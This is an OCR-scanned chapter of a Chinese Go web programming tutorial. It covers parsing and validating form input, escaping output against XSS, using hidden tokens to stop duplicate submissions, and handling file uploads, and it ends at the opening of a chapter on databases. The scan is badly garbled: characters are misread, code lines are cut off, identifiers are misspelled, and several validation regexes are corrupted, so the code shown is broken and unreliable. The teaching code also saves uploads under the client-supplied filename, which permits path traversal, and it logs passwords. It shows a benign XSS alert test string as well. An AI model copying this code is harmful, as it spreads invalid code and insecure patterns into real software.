下 拉 列 表 、 单 选 框 、 复 选 框 等 等 ) 输入 信息 的 元 素 。 表 单 使 用 表单 标签 N) EL. 


<form> 
input 元 素 


</form> 


Go 里 面 对 于 form 人 处 理 已 经 有 很 方便 的 方法 了 ， 在 Request 里 面 的 有 专门 的 form 钦 
理 ， 可 以 很 方便 的 整合 到 Web 开 发 里 面 来 ，4.1 小 节 里 面 将 讲解 Go 如 何 义理 表单 的 
输入 。 由 于 不 能 信任 任何 用 户 的 输入 ， 所 以 我 们 需要 对 这 些 输入 进行 有 效 性 验证 ， 
4.2 小 节 将 就 如 何 进 行 一 些 普通 的 验证 进行 详细 的 演示 。 


HTTP 协 议 是 一 种 无 状态 的 协议 ， 那 么 如 何 才 能 辨别 是 否 是 同一 个 用 户 呢 ?同时 又 
如 何 保 证 一 个 表单 不 出 现 多 次 递交 的 情况 呢 ?4.3 和 4.4 小 节 里 面 业 对 cookie(cookie 
是 存储 在 客户 端的 信息 ， 能 够 每 次 通过 header 和 服务 器 进行 交互 的 数据 ) 等 进行 详 
细 讲 解 。 

表单 还 有 一 个 很 大 的 功能 就 是 能 够 上 传 文件 ， 那 么 Go 是 如 何 处 理 文 件 上 传 的 呢 ? 针 


对 大 文件 上 传 我 们 如 何 有 效 的 处 理 呢 ?4.5 小节 我 们 将 一 起 学 习 Go 义 理 文 件 上 传 的 
知识 。 


目录 
links 
e 目录 
e 上 一 章 : 第 三 章 总 结 
e 下 一 节 : 义理 表单 的 输入 


4.1 义理 表单 的 输入 


先 来 看 一 个 表单 递交 的 例子 ， 我 们 有 如 下 的 表单 内 容 ， 命 名 成 文件 login.gtpl( 放 入 当 
前 新 建 项 目的 目录 里 面 ) 


<html> 

<head> 

<title></title> 

</head> 

<body> 

<form action="/login" method="post"> 
用 户 名 :<input type="text" name="username"> 
密码 :<input type="password" name="password"> 
<input type="submit" value="S "> 

</form> 

</body> 

</html> 


上 面 递交 表单 到 服务 器 的 /login ， 当 用 户 输入 信息 点 击 登陆 之 后 ， 会 跳 转 到 服务 
器 的 路 由 login 里 面 ， 我 们 首先 要 判断 这 个 是 什么 方式 传递 过 来 ，POST 还 是 
GET 呢 ? 


http 包 里 面 有 一 个 很 简单 的 方式 就 可 以 获取 ， 我 们 在 前 面 web 的 例子 的 基础 上 来 看 
看 怎么 处 理 login 页 面 的 form 数 据 


package main 


import ( 
"Fmt W 
"html/template" 
"log" 
"net/http" 
"strings" 


) 


func sayhelloName(w http.Responsewriter, r *http.Request) { 
r.ParseForm( ) // 解 析 ur1 传 递 的 参数 ， 对 于 POST 则 解析 响应 包 的 主体 ( 
// 注 意 :如 果 没有 调用 ParseForm 方 法 ， 下 面 无 法 获取 表单 的 数据 
fmt.Println(r.Form) // 这 些 信息 是 输出 到 服务 器 端的 打印 信息 
fmt.Println("path", r.URL.Path) 
fmt.Println("scheme", r.URL.Scheme) 
fmt .Printin(r.Form["url_long"] ) 
for k, v := range r.Form { 
fmt.Printin("key:", k) 
fmt.Printin("val:", strings.Join(v, "")) 
} 
fmt.Fprintf(w, "Hello astaxie!") // 这 个 写 入 到 w 的 是 输出 到 客户 端的 
} 


func login(w http.Responsewriter, r *http.Request) { 
fmt .Printin("method:", r.Method) // 获 取 请 求 的 方法 


if r.Method == "GET" { 
t, _ := template.ParseFiles("login.gtpl") 
t.Execute(w, nil) 

} else { 


// 请 求 的 是 登陆 数据 ， 那 么 执行 登陆 的 逻辑 判断 
fmt.Println("username:", r.Form["username" ] ) 
fmt.Println("password:", r.Form[ "password" ] ) 


} 

} 

func main() { 
http.HandleFunc("/", sayhelloName) // 设 置 访问 的 路 由 
http.HandleFunc("/login", login) // 设 置 访问 的 路 由 
err := http.ListenAndServe(":9090", nil) // 设 置 监听 的 端口 
if err != nil { 

log.Fatal("ListenAndServe: ", err) 

} 

} 





和 改 


通过 上 面 的 代码 我 们 可 以 看 出 获取 请 求 方 法 是 通过 r .Method 来 完成 的 ， 这 是 个 
符 串 类 型 的 变量 ， 返 回 GET POST PUT 等 method 信 息 。 


login 函 数 中 我 们 根据 r.Method 来 判断 是 显示 登录 界面 还 是 处 理 登 录 逻 辑 。 当 
GET 方 式 请 求 时 显示 登录 界面 ， 其 他 方式 请 求 时 则 义理 登录 逻辑 ， 如 查询 数据 库 、 
验证 登录 信息 等 。 


当 我 们 在 浏览 器 里 面 打开 http://127.0.0.1:9090/login 的 时 候 ， 出 现 如 下 界 
面 


图 4.1 用 户 登 录 界 面 


我 们 输入 用 户 名 和 密码 之 后 发 现在 服务 器 端 是 不 会 打印 出 来 任何 输出 的 ， 为 什么 
呢 ?默认 情况 下 ，Handler 里 面 是 不 会 自动 解析 form 的 ， 必 须 显 式 的 调 

用 r.ParseForm() 后 ， 你 才能 对 这 个 表单 数据 进行 操作 。 我 们 修改 一 下 代码 ， 

在 fmt.Println("username:", r.Form["username"]) 之 前 加 一 

行 r.ParseForm() ,重新 编译 ， 再 次 测试 输入 递交 ， 现 在 是 不 是 在 服务 器 端 有 输出 
你 的 输入 的 用 户 名 和 密码 了 。 


r .Form 里 面包 含 了 所 有 请 求 的 参数 ， 上 比如 URL 中 query-string、POST 的 数据 、 
PUT 的 数据 ， 所 有 当 你 在 URL 的 query-string 字 段 和 POST 冲突 时 ， 会 保存 成 一 个 
slice， 里 面 存储 了 多 个 值 ，Go 官 方 文档 中 说 在 接 下 来 的 版 本 里 面 将 会 把 POST、 
GET 这 些 数据 分 离开 来 。 


现在 我 们 修改 一 下 login.gtpl 里 面 form 的 action 

值 http://127.0.0.1:9090/login 修改 

A http://127.0.0.1:9090/login?username=astaxie ， 再 次 测试 ， 服 务 器 的 
输出 username 是 不 是 一 个 slice。 服 务 器 端的 输出 如 下 : 


图 4.2 服务 器 端 打印 接受 到 的 信息 


request.Form 是 一 个 url.Values 类 型 ， 里 面 存 储 的 是 对 应 的 类 似 key=value 的 
让 息 ， 下 面 展 示 了 可 以 对 form 数 据 进 行 的 一 些 操作 : 


v := url.Values{} 

v.Set("name", "Ava") 

v.Add("friend", "Jess") 

v.Add("friend", "Sarah") 

.Add("friend", "Zoe") 

// “.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" 
fmt .Printlin(v.Get("name") ) 

fmt .Printin(v.Get("friend") ) 

fmt .Printin(v["friend"]) 


< 


Tips: Requesta $ tht T FormValue()MA RRA PHRHEBM, A 
r.Form["username"] 也 可 写成 r.[FormValue("username")。 调 用 r.FormValue 时 会 
自动 调用 r.ParseForm， 所 以 不 必 提 前 调用 。r.FormValue 只 会 返回 同名 参数 中 
的 第 一 个 ， 知 参数 不 存在 则 返回 空 字符 串 。 


Go Web 编程 


links 
e 目录 


e 上 一 节 : 表单 
o 下 一 节 : 验证 表单 的 输入 


处 理 表单 的 输 123 


4.2 验证 表单 的 输入 


开发 Web 的 一 个 原则 就 是 ， 不 能 信任 用 户 输入 的 任何 信息 ， 所 以 验证 和 过 滤 用 户 的 
输入 信息 就 变 得 非常 重要 ， 我 们 经 常会 在 微 博 、 新 闻 中 听 到 某 某 网 站 被 人 侵 了 ， 存 
在 什么 漏洞 ， 这 些 大 多 是 因为 网 站 对 于 用 户 输 入 的 信息 没有 做 严格 的 验证 引起 的 ， 
所 以 为 了 编写 出 安全 可 靠 的 Web 程 序 ， 验 证 表单 输入 的 意义 重大 。 


我 们 平常 编写 Web 应 用 主要 有 两 方面 的 数据 验证 ， 一 个 是 在 页 面 端的 js 验证 (目前 在 
这 方面 有 很 多 的 插件 库 ， 上 比如 ValidationJS 插 件 )， 一 个 是 在 服务 器 端的 验证 ， 我 们 
这 小 节 讲 解 的 是 如 何在 服务 器 端 验证 。 


WAFF 


你 想 要 确保 从 一 个 表单 元 素 中 得 到 一 个 值 ， 例 如 前 面 小 节 里 面 的 用 户 名 ， 我 们 如 何 
义理 呢 ? Go 有 一 个 内 置 函 数 len 可 以 获取 字符 串 的 长 度 ， 这 样 我 们 就 可 以 通过 len 
来 获取 数据 的 长 度 ， 例 如 : 


if len(r.Form["username"][0])==0{ 
// 为 空 的 处 理 
} 


r .Form 对 不 同类 型 的 表单 元 素 的 留 空 有 不 同 的 处 理 ， 对 于 空 文本 框 、 空 文本 区 
域 以 及 文件 上 传 ， 元 素 的 值 为 空 值 ,而 如 果 是 未 选中 的 复 选 框 和 单 选 按 钮 ， 则 根本 不 
会 在 r.Form 中 产生 相应 条 目 ， 如 果 我 们 用 上 面 例 子 中 的 方式 去 获取 数据 时 程序 就 会 
报错 。 所 以 我 们 需要 通过 r.,Form.Get() 来 获取 值 ， 因 为 如 果 字 段 不 存在 ， 通 过 
该 方式 获取 的 是 空 值 。 但 是 通过 r.Form.Get() 只 能 获取 单个 的 值 ， 如 果 是 map 
的 值 ， 必 须 通 过 上 面 的 方式 来 获取 。 


数字 


你 想 要 确保 一 个 表单 输入 框 中 获取 的 只 能 是 数字 ， 例 如 ， 你 想 通 过 表单 获取 某 个 人 
的 具体 年 龄 是 50 岁 还 是 10 岁 ， 而 不 是 像 "一 把 年 纪 了 "或 "年轻 着 呢 " 这 种 描述 


如 果 我 们 是 判断 正 整数 ， 那 么 我 们 先 转 化 成 int 类 型 ， 然 后 进行 义理 


getint,err:=strconv.Atoi(r.Form.Get("age") ) 
if err!=nil{ 

// 数 字 转 化 出 错 了 ， 那 么 可 能 就 不 是 数字 
} 


// 接 下 来 就 可 以 判断 这 个 数字 的 大 小 范围 了 
if getint >100 { 

// 太 大 了 
} 


还 有 一 种 方式 就 是 正则 匹配 的 方式 


if m, _ := regexp.MatchString("4[0-9]+$", r.Form.Get("age")); !m { 
return false 


} 
二 | 


对 于 性 能 要 求 很 高 的 用 户 来 说 ， 这 是 一 个 老生 常 谈 的 问题 了 ， 他 们 认为 应 该 尽量 避 
免 使 用 正则 表达 式 ， 因 为 使 用 正则 表达 式 的 速度 会 比较 慢 。 但 是 在 目前 机 器 性 能 那 
么 强劲 的 情况 下 ， 对 于 这 种 简单 的 正则 表达 式 效 率 和 类 型 转换 豆 数 是 没有 什么 差别 
的 。 如 果 你 对 正则 表达 式 很 熟悉 ， 而 且 你 在 其 它 语 言 中 也 在 使 用 它 ， 那 么 在 Go 里 面 
使 用 正则 表达 式 将 是 一 个 便利 的 方式 。 


Go 实现 的 正则 是 RE2， 所 有 的 字符 都 是 UTF-8 编 码 的 。 


中 文 


有 时 候 我 们 想 通 过 表单 元 素 获取 一 个 用 户 的 中 文 名 字 ， 但 是 又 为 了 保证 获取 的 是 正 
确 的 中 文 ， 我 们 需要 进行 验证 ， 而 不 是 用 户 随便 的 一 些 输入 。 对 于 中 文 我 们 目前 有 
两 种 方式 来 验证 ， 可 以 使 用 unicode 包 提 供 的 

func Is(rangeTab *RangeTable, r rune) bool 来 验证 ， 也 可 以 使 用 正则 方 
式 来 验证 ， 这 里 使 用 最 简单 的 正则 方式 ， 如 下 代码 所 示 





if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname" 
return false 





RM 


我 们 期 望 通过 表单 元 素 获取 一 个 英文 值 ， 例 如 我 们 想 知 道 一 个 用 户 的 英文 名 ， 应 该 
是 astaxie， 而 不 是 asta 谢 。 


我 们 可 以 很 简单 的 通过 正则 验证 数据 : 


if m, _ := regexp.MatchString("4[a-zA-Z]+$", r.Form.Get("engname") | 
return false 


} 


«| = 








电子 邮件 地 址 


你 想 知 道 用 户 输入 的 一 个 Email 地 址 是 否 正确 ， 通 过 如 下 这 个 方式 可 以 验证 : 


if m, _ := regexp.MatchString( 4([\w\.\_]{2,10} )@(\w{1, }).([a-z] {2, 
fmt .Printin("no") 
selse{ 


fmt .Printin("yes") 
a] ~ ee 


手机 号 码 


你 想 要 判断 用 户 输入 的 手机 号 码 是 否 正 确 ， 通 过 正则 也 可 以 验证 : 





if m, _ := regexp.MatchString( ~4(1[3|4|5|8][0-9]\d{4,8})$°, r.Form 
return false 


| _ & 


下 拉 菜 单 


如 果 我 们 想 要 判断 表单 里 面 <select> 元 素 生 成 的 下 拉 菜 单 中 是 否 有 被 选中 的 项 
目 。 有 些 时 候 黑 客 可 能 会 伪造 这 个 下 拉 荣 单 不 存在 的 值 发 送 给 你 ， 那 么 如 何 判 断 这 
个 值 是 否 是 我 们 预 设 的 值 呢 ? 


我 们 的 select 可 能 是 这 样 的 一 些 元 素 





<select name="fruit"> 

<option value="apple">apple</option> 
<option value="pear">pear</option> 
<option value="banane">banane</option> 
</select> 


那么 我 们 可 以 这 样 来 验证 


slice:=[]string{"apple", "pear", "banane"} 


for _, v := range slice { 
if v == r.Form.Get("fruit") { 
return true 


} 


return false 


单 选 按钮 


如 果 我 们 想 要 判断 radio 按 钮 是 否 有 一 个 被 选中 了 ， 我 们 页 面 的 输出 可 能 就 是 一 个 
男 、 女 性 别 的 选择 ， 但 是 也 可 能 一 个 15 岁 大 的 无 聊 小 孩 ， 一 手 拿 着 http 协 议 的 书 ， 

只 手 通过 telnet 客 户 端 向 你 的 程序 在 发 送 请 求 呢 ， 你 设 定 的 性 别 男 值 是 1， 女 是 
2， 他 给 你 发 送 一 个 3， 你 的 程序 会 出 现 异 常 吗 ? 因此 我 们 也 需要 像 下 拉 菜 单 的 判断 
方式 类 似 ， 判断 我 们 获取 的 值 是 我 们 预 设 的 值 ， 而 不 是 额外 的 值 。 


<input type="radio" name="gender" value="1"> 男 
<input type="radio" name="gender" value="2"> 女 


那 我 们 也 可 以 类 似 下 拉 菜 单 的 做 法 一 样 


slice:=[]int{1i, 2} 
for _, v := range slice { 


if v == r.Form.Get("gender") { 
return true 


} 


return false 


复 选 框 


有 一 项 选择 兴趣 的 复 选 框 ， 你 想 确 定 用 户 选 中 的 和 你 提供 给 用 户 选择 的 是 同一 
型 的 数据 。 


<input type="checkbox" name="interest" value="football"> 足 球 
<input type="checkbox" name="interest" value="basketball">% hk 
<input type="checkbox" name="interest" value="tennis"> 网 球 


对 于 复 选 框 我 们 的 验证 和 单 选 有 点 不 一 样 ， 因 为 接收 到 的 数据 是 一 个 slice 


slice:=[]string{"football", "basketball", "tennis"} 
a:=Slice_diff(r.Form["interest"],slice) 
if a == nil{ 

return true 


} 


return false 


上 面 这 个 函数 Slice diff 包含 在 我 开源 的 一 个 库 里 面 (操作 slice 和 map 的 
È), https://github.com/astaxie/beeku 


日 期 和 时 间 


你 想 确 定 用 户 填写 的 日 期 或 时 间 是 否 有 效 。 例 如 ， 用 户 在 日 程 表 中 安排 8 月 份 的 第 
45 天 开会 ， 或 者 提供 未 来 的 某 个 时 间作 为 生日 。 


Go 里 面 提 供 了 一 个 time 的 处 理 包 ， 我 们 可 以 把 用 户 的 输入 年 月 日 转化 成 相应 的 时 
间 ， mene 辑 判断 


t := time.Date(2009, time.November, 10, 23, 0, ©, ©, time.UTC) 
fmt.Printf("Go launched at %s\n", t.Local()) 


获取 time 之 后 我 们 就 可 以 进行 很 多 时 间 函 数 的 操作 。 具 体 的 判断 就 根据 自己 的 需求 
调整 。 


身份 证 号 码 


如 果 我 们 想 验 证 表单 输入 的 是 否 是 身份 证 ， 通 过 正则 也 可 以 方便 的 验证 ， 但 是 身份 
证 有 15 位 和 和 18 位， 我 们 两 个 都 需要 验证 


// 验 证 15 位 身份 证 ，15 位 的 是 全 部 数字 
if m, _ := regexp.MatchString( 人 ^(\d{15})$ , r.Form.Get("usercard") 
return false 





} 
// 验 证 18 位 身份 证 ，18 位 前 17 位 为 数字 ， 最 后 一 位 是 校 验 位 ， 可 能 为 数字 或 字符 X。 
if m, _ := regexp.MatchString( 4(\d{17})([0-9]|X)$°, r.Form.Get( "us 
return false 
} 
= ay 
上 面 列 出 了 我 们 一 些 常 用 的 服务 器 端的 表单 元 素 验证 ， 希 望 这 个 引导 入 门 ， 能 


够 让 你 对 Go 的 数据 验证 有 所 了 解 ， 特 别 aa 
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4.3 预防 跨 站 脚本 


现在 的 网 站 包含 大 量 的 动态 内 容 以 提高 用 户 体验 ， 比 过 去 要 复杂 得 多 。 所 谓 动 态 内 
容 ， 就 是 根据 用 户 环境 和 需要 ，Web 应 用 程序 能 够 输出 相应 的 内 容 。 动 态 站 点 会 受 
到 一 种 名 为 “ 跨 站 脚本 攻击 ”(Cross Site Scripting, 安全 专家 们 通常 将 其 缩写 成 
XSS) 的 威胁 ， 而 静态 站 点 则 完全 不 受 其 影响 。 


攻击 者 通常 会 在 有 漏洞 的 程序 中 插入 JavaScript、VBScript、 ActiveX 或 Flash 以 欺 
骗 用 户 。 一 旦 得 手 ， 他 们 可 以 盗 取 用 户 帐 户 信息 ， 修 改 用 户 设置 ， 盗 取 /污染 cookie 
ABA SB ES. 


对 XSS 最 佳 的 防护 应 该 结合 以 下 两 种 方法 : 一 是 验证 所 有 输入 数据 ， 有 效 检测 攻击 
(这 个 我 们 前 面 小 节 已 经 有 过 介绍 ); 另 一 个 是 对 所 有 输出 数据 进行 适当 的 处 理 ， 以 防 
止 任何 已 成 功 注 入 的 脚本 在 浏览 器 端 运行 。 


那么 Go 里 面 是 怎么 做 这 个 有 效 防 扩 的 呢 ? Go 的 htmltemplate 里 面 带 有 下 面 几 个 画 
数 可 以 帮 你 转 义 


e func HTMLEscape(w io.Writer, b []byte) // 把 b 进 行 转 义 之 后 写 到 Ww 

e func HTMLEscapeString(s string) string / 转 义 s 之 后 返回 结果 字符 串 

e func HTMLEscaper(args ...interface{}) string /支持 多 个 参数 一 起 转 义 ， 返 回 结 
果 字 符 串 


我 们 看 4.1 小 节 的 例子 
fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("uset 


fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("pas: 
template.HTMLEscape(w, []byte(r.Form.Get("username"))) // 输 出 到 客户 训 


E 





如 果 我 们 输入 的 username 是 <script>alert()</script> ,那么 我 们 可 以 在 浏览 
器 上 面 看 到 输出 如 下 所 示 : 


图 4.3 Javascript 过 滤 之 后 的 输出 
Go 的 htmltemplate 包 默认 帮 你 过 滤 了 html 标 签 ， 但 是 有 时 候 你 只 想 要 输出 这 


个 <script>alert()</script> 看 起 来 正常 的 信息 ， 该 怎么 处 理 ? 请 使 用 
text/template。 请 看 下 面 的 例子 : 


import "text/template" 


t, err := template.New("foo").Parse( {{define "T"}}Hello, {{.}}! {{e 
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwr 


E: 


al 








输出 


Hello, <script>alert('you have been pwned')</script>! 


或 者 使 用 template.HTML 类 型 


import "html/template" 


t, err := template.New("foo").Parse( {{define "T"}}Hello, {{.}}! {{e 
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('yot 


Ee ee ne 
输出 





Hello, <script>alert('you have been pwned')</script>! 


转换 成 template.HTML 后 ， 变 量 的 内 容 也 不 会 被 转 义 
转 义 的 例子 : 


import "html/template" 


t, err := template.New("foo").Parse( {{define "T"}}Hello, {{.}}! {{e 
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been pwr 


a ee 
转 义 之 后 的 输出 : 





Hello, &lt;script&gt;alert(&#39; you have been pwned&#39; )&lt;/scrit 





。 下 一 节 : 防止 多 次 递交 表单 


4.4 防止 多 次 递交 表单 


不 知道 你 是 否 佛 经 看 到 过 一 个 论坛 或 者 博客 ， 在 一 个 帖子 或 者 文章 后 面 出现 多 条 重 
复 的 记录 ， 这 些 大 多 数 是 因为 用 户 重 复 递 交 了 留言 的 表单 引起 的 。 由 于 种 种 原因 ， 
用 户 经 常会 重复 递交 表单 。 通 常 这 只 是 鼠标 的 误 操 作 ， 如 双击 了 递交 按钮 ， 也 可 能 
是 为 了 编辑 或 者 再 次 核对 填写 过 的 信息 ， 点 击 了 浏览 器 的 后 退 按钮 ， 然 后 又 再 次 点 
击 了 递交 按钮 而 不 是 浏览 器 的 前 进 按钮 。 当 然 ， 也 可 能 是 故意 的 一 比如 ， 在 某 项 
在 线 调 查 或 者 博彩 活动 中 重复 投票 。 那 我 们 如 何 有 效 的 防止 用 户 多 次 递交 相同 的 表 
žE? 

解决 方案 是 在 表单 中 添加 一 个 带 有 了 唯一 值 的 隐藏 字段 。 在 验证 表单 时 ， 先 检查 带 有 
该 惟一 值 的 表单 是 否 已 经 递交 过 了 。 如 果 是 ， 拒 绝 再 次 递交 ; 如 果 不 是 ， 则 处 理 表 
单 进行 逻辑 义理 。 另 外 ， 如 果 是 采用 了 Ajax 模式 递交 表单 的 话 ， 当 表单 递交 后 ， 通 
过 javascript 来 禁用 表单 的 递交 按钮 。 


我 继续 拿 4.2 小 节 的 例子 优化 : 





<input type="checkbox" name="interest" value="football"> 足 球 
<input type="checkbox" name="interest" value="basketball">%& ER 
<input type="checkbox" name="interest" value="tennis"> 网 球 

用 户 名 :<input type="text" name="username"> 

密码 :<input type="password" name="password"> 

<input type="hidden" name="token" value="{{.}}"> 

<input type="submit" value="S "> 


我 们 在 模版 里 面 增加 了 一 个 隐藏 字段 token ， 这 个 值 我 们 通过 MD5( 时 间 惟 ) 来 获 
取 惟 一 值 ， 然 后 我 们 把 这 个 值 存 储 到 服务 器 端 (session 来 控制 ， 我 们 将 在 第 六 章 讲 
解 如 何 保存 )， 以 方便 表单 提交 时 上 比 对 判定 。 


func login(w http.Responsewriter, r *http.Request) { 
fmt.Println("method:", r.Method) // 获 取 请 求 的 方法 
if r.Method == "GET" { 
crutime := time.Now().Unix() 
h := md5.New() 
io.WriteString(h, strconv.FormatInt(crutime, 10)) 
token := fmt.Sprintf("%x", h.Sum(nil) ) 


t, _ := template.ParseFiles("login.gtpl") 
t.Execute(w, token) 
} else { 


// 请 求 的 是 登陆 数据 ， 那 么 执行 登陆 的 逻辑 判断 
r.ParseForm() 
token := r.Form.Get("token") 
if token != of 
// 验 证 token 的 合法 性 
} else { 
// 不 存在 token 报 错 


fmt.Printin("username length:", len(r.Form["username"][0])_ 
fmt.Printin("username:", template.HTMLEsScapeString(r.Form. ( 
fmt.Printlin("password:", template.HTMLEscapeString(r.Form. ( 
template.HTMLEscape(w, []byte(r.Form.Get("username"))) // 输 





上 面 的 代码 输出 到 页 面 的 源码 如 下 : 


图 4.4 增加 token 之 后 在 客户 端 输 出 的 源码 信息 


我 们 看 到 token 已 经 有 输出 值 ， 你 可 以 不 断 的 刷新 ， 可 以 看 到 这 个 值 在 不 断 的 变 
gs 这 样 就 保证 了 每 次 显示 form 表 单 的 时 候 都 是 唯一 的 ， 用 户 递 交 的 表单 保持 了 唯 


我 们 的 解决 方案 可 以 防止 非 悉 意 的 攻击 ， 并 能 使 恶意 用 户 暂 时 不 知 所 措 ， 然 后 ， 它 
却 不 能 排除 所 有 的 欺骗 性 的 动机 ， 对 此 类 情况 还 需要 更 复杂 的 工作 。 


links 


° 目录 
e 上 一 节 : 预防 跨 站 脚本 
。 下 一 节 : 处 理 文件 上 传 


4.5 处 理 文件 上 传 


你 想 处 理 一 个 由 用 户 上 传 的 文件 ， 上 比如 你 正在 建设 一 个 类 似 Instagram 的 网 站 ， 你 
需要 存储 用 户 拍 摄 的 照片 。 这 种 需求 该 如 何 实 现 呢 ? 


要 使 表单 能 够 上 传 文 件 ， 首 先 第 一 步 就 是 要 添加 form 的 enctype 属 
性 ， enctype 属性 有 如 下 三 种 情况 : 


application/x-www-form-urlencoded ”表示 在 发 送 前 编码 所 有 字符 (默认 ) 
multipart/form-data 不 对 字符 编码 。 在 使 用 包含 文件 上 传 控件 的 表单 时 ， 必 须 
text/plain 空格 转换 为 "+" 加 号 ， 但 不 对 特殊 字符 编码 。 

E — Be 


所 以 ， 表 单 的 html 代 码 应 该 类 似 于 : 





<html> 
<head> 
<title> 上 传 文件 </title> 

</head> 

<body> 

<form enctype="multipart/form-data" action="http://127.0.0.1:9090/1 
<input type="file" name="uploadfile" /> 
<input type="hidden" name="token" value="{{.}}"/> 
<input type="Submit" value="upload" /> 

</form> 

</body> 

</html> 


<] = ee 
在 服务 器 端 ， 我 们 增加 一 个 handlerFunc: 





http.HandleFunc("/upload", upload) 


// 人 处理/upload 逻辑 
func upload(w http.ResponseWriter, r *http.Request) { 
fmt.Println("method:", r.Method) // 获 取 请 求 的 方法 
if r.Method == "GET" { 
crutime := time.Now().Unix() 
h := md5.New() 
io.WriteString(h, strconv.FormatInt(crutime, 10)) 
token := fmt.Sprintf("%x", h.Sum(nil) ) 


t, _ := template.ParseFiles("upload.gtp1l") 
t.Execute(w, token) 
} else { 
r.ParseMultipartForm(32 << 20) 
file, handler, err := r.FormFile("uploadfile" ) 
if err != nil { 
fmt .Printin(err) 
return 


} 
defer file.Close() 
fmt.Fprintf(w, "%v", handler .Header ) 
f, err := os.OpenFile("./test/"+handler.Filename, os.0O_WROI 
if err != nil { 
fmt .Printin(err) 
return 


} 
defer f.Close() 
io.Copy(f, file) 





通过 上 面 的 代码 可 以 看 到 ， 人 处理 文 件 上 传 我 们 需要 调 

用 r.ParseMultipartForm ， 里 面 的 参数 表示 maxMemory ， 调 

用 ParseMultipartForm 之 后 ， 上 传 的 文件 存储 在 maxMemory 大 小 的 内 存 里 
面 ， 如 果 文 件 大 小 超过 了 maxMemory ， 那 么 剩 下 的 部 分 将 存储 在 系统 的 临时 文件 
中 。 我 们 可 以 通过 r.FormFile 获取 上 面 的 文件 句柄 ， 然 后 实例 中 使 用 

了 io.Copy 来 存储 文件 。 


获取 其 他 非 文 件 字段 信息 的 时 候 就 不 需要 调用 r.ParseForm ， 因 为 在 需要 的 
时 候 Go 自 动 会 去 调用 。 而 且 ParseMultipartForm 调用 一 次 之 后 ， 后 面 再 次 
调用 不 会 再 有 效果 。 


通过 上 面 的 实例 我 们 可 以 看 到 我 们 上 传 文件 主要 三 步 处 理 : 


1. 表单 中 增加 enctype="multipart/form-data" 
2. 服务 端 调用 r.ParseMultipartForm ,把 上 传 的 文件 存储 在 内 存 和 临时 文件 中 
3. 使 用 r.FormFile 获取 文件 句柄 ， 然 后 对 文件 进行 存储 等 处 理 。 


文件 handler 是 multipart.FileHeader, 里 面 存 储 了 如 下 结构 信息 


type FileHeader struct { 
Filename string 
Header textproto.MIMEHeader 
// contains filtered or unexported fields 


我 们 通过 上 面 的 实例 代码 打印 出 来 上 传 文件 的 信息 如 下 


图 4.5 打印 文件 上 传 后 服务 器 端 接受 的 信息 


客户 端 上 传 文件 


我 们 上 面 的 例子 演示 了 如 何 通 过 表单 上 传 文件 ， 然 后 在 服务 器 端 处 理 文件 ， 其 实 Go 


支持 模拟 客户 端 表单 功能 支持 文件 上 传 ， 详细 用 法 请 青 看 如 下 示例 : 


package main 


import ( 
"bytes" 
"Fmt W 
UTON 

"io/ioutil" 

"mime/multipart" 

"net/http" 

"os" 


) 


func postFile(filename string, targetUrl string) error { 
bodyBuf := &bytes.Buffer{} 
bodyWriter := multipart.Newwriter (bodyBuf ) 


// 关 键 的 一 步 操作 
filewriter, err := bodywriter.CreateFormFile("uploadfile", 
if err != nil { 
fmt.Println("error writing to buffer") 
return err 


} 

// 打 开 文 件 句柄 操作 

fh, err := os.Open(filename) 
if err != nil { 


fmt.Println("error opening file") 
return err 


} 
defer fh.Close() 


//iocopy 
_, err = io.Copy(filewWriter, fh) 
if err != nil { 
return err 
} 


contentType := bodywriter.FormDataContentType() 
bodywriter.Close() 


resp, err := http.Post(targetUrl, contentType, bodyBuf ) 
if err != nil { 

return err 
} 


defer resp.Body.Close() 
resp_body, err := ioutil.ReadAll(resp.Body) 
if err != nil { 

return err 


fmt.Println(resp.Status) 
fmt.Println(string(resp_body) ) 
return nil 


} 


// sample usage 

func main() { 
target_url := "http://localhost:9090/upload" 
filename := "./astaxie.pdf" 
postFile(filename, target_url) 


} 
SE E 
上 面 的 例子 详细 展示 了 客户 端 如 何 向 服务 器 上 传 一 个 文件 的 例子 ， 客 户 端 通过 


multipart.Write 把 文件 的 文本 流 写 入 一 个 缓存 中 ， 然 后 调用 http 的 Post 方 法 把 缓存 传 
到 服务 器 。 


如 果 你 还 有 其 他 普通 字段 例如 username 之 类 的 需要 同时 写 入 ， 那 么 可 以 调用 
multipart 的 WriteField 方 法 写 很 多 其 他 ; 类 似 的 字段。 





4.6 小 结 


这 一 章 里 面 我 们 学 习 了 Go 如 何 义理 表单 信息 ， 我 们 通过 用 户 登 陆 、 上 传 文件 的 例子 
展示 了 Go 处理 form 表 单 信息 及 上 传 文件 的 手段 。 但 是 在 处 理 表单 过 程 中 我 们 需要 验 
证 用 户 输入 的 信息 ， 考 虑 到 网 站 安全 的 重要 性 ， 数 据 过 滤 就 显得 相当 重要 了 ， 因 此 
后 面 的 章节 中 专门 写 了 一 个 小 节 来 讲解 了 不 同方 面 的 数据 过 滤 ， 顺 带 讲 一 下 Go 对 字 
符 串 的 正则 人 处理 。 

通过 这 一 章 能 够 让 你 了 解 客户 端 和 服务 器 端 是 如 何 进行 数据 上 的 交互 ， 客 户 端 将 数 
据 传 递 给 服务 器 系统 ， 服 务 器 接受 数据 又 把 久 理 结果 反馈 给 客户 端 。 


一 节 : 处 理 文 件 上 传 
一 章 : 访问 数据 库 


5 访问 数据 库 


对 许多 Web 应 用 程序 而 言 ， 数 据 库 都 是 其 核心 所 在 。 数 据 库 几乎 可 以 用 来 存储 你 想 
查询 和 修改 的 任何 信息 ， 比 如 用 户 信息 、 产 品目 录 或 者 新 闻 列 表 等 。 


Go 没有 内 置 的 驱动 支持 任何 的 数据 亩 ， 但 是 Go 定义 了 database/sql 接 口 ， 用 户 可 以 
基于 驱动 接口 开发 相应 数据 库 的 驱动 ，5.1 小 节 里 面 介 绍 Go 设 计 的 一 些 驱 动 ， 介 绍 
Go 是 如 何 设计 数据 库 驱 动 接口 的 。5.2 至 5.4 小 节 介 绍 目前 使 用 的 比较 多 的 一 些 关 系 
型 数据 驱动 以 及 如 何 使 用 ，5.5 小 节 介 绍 我 自己 开发 一 个 ORM 库 ， 基 于 database/sql 
